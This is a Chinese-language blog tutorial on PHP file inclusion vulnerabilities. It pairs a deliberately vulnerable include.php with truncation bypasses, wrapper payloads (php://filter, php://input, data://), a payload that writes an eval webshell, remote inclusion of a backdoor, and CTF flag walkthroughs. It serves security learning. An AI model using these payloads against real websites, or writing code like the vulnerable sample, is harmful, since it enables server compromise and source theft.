文件包含漏洞

文件包含

文件包含:将文件里的内容以脚本代码执行
漏洞成因:可控变量、文件包含函数
文件包含函数:
有文件包含的各个脚本的代码
文件包含在 php 中,涉及到的危险函数有四个,分别是include()、include_once()、require()、require_once()。
区别如下:

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。

本地包含

#本地搭建-include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
#1.php
<?php
phpinfo();
?>

本地访问:http://127.0.0.1/include.php?filename=1.txt 得到以下界面
在这里插入图片描述
如果想要包含的文件不在当前目录,可以使用…/返回上级
举例:我把1.txt放在D盘的根目录下,就可以这样访问http://127.0.0.1/include.php?filename=…/…/1.txt

远程包含

相较于本地包含它的危害更大,如果是远程包含可以这样访问

php远程文件包含的前提条件是开启了allow_url_include
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt
如果将1.txt文件内容改为一句话木马,则可以使用菜刀等工具连接后门

检测方法

黑盒:代码审计
白盒:漏扫工具、公开漏洞、手工看参数值及功能点

绕过方法

有限代码是这样的,它限制了后缀名

<?php
$filename=$_GET['filename'];
include($filename.".html");
echo '123';
?>

方法一:%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
使用payload

http://127.0.0.1/include.php?filename=1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%23
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt?

方法二:长度截断 (垃圾数据填充) 用多个点号或者/. 在filename=1.txt后面输入多个点号。
条件:windows点号需要长于256;linux长于4096

http://127.0.0.1/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

各种协议流

在这里插入图片描述

php://filter——读取文件源码

http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
使用base64编码是为了防止乱码

在这里插入图片描述

php://input——执行php代码

在这里插入图片描述

##php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分:<?php system("var"); ?>]

php://input——写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在这里插入图片描述

file://访问本地文件

用于访问本地文件系统。当指定了一个相对路径(不以、、\或 Windows盘符开头的路径)提供的路径将基于当前的工作目录。

方法一:file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?filename=file://D:\phpstudy_pro\WWW\1.txt
方法二:file://[文件的相对路径和文件名]
http://127 .0.0.1/include . php?file= ./phpinfo. txt

在这里插入图片描述

data://执行php代码

数据流封装器,以传递相应格式的数据,通常可以用来执行php代码

http://127.0.0.1/include.php?filename=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1/include.php?filename=data://text/plain;base64,PD9waHAlMjBwaHBpbmZvKCk7Pz4KIA==

在这里插入图片描述

CTF典型例题

CTF-南邮大,i春秋百度杯真题-白盒

地址:http://4.chinalover.sinaapp.com/web7/index.php
在这里插入图片描述点击按钮
在这里插入图片描述http://4.chinalover.sinaapp.com/web7/show.php
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
发现访问这两个网站,页面显示内容均为test123,确定为文件包含漏洞
尝试根据协议读取源码

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述
base64解码,得到flag
在这里插入图片描述

i春秋某Web Include CTF题

网址:https://www.ichunqiu.com/battalion?t=1&r=0
首页打开如下图所示,说明含有文件包含漏洞。
在这里插入图片描述在这里插入图片描述

尝试读取本目录下的文件结构,成功

.com/?path=php://input

在这里插入图片描述尝试读取dle345ae.php文件
在这里插入图片描述还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。
在这里插入图片描述在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值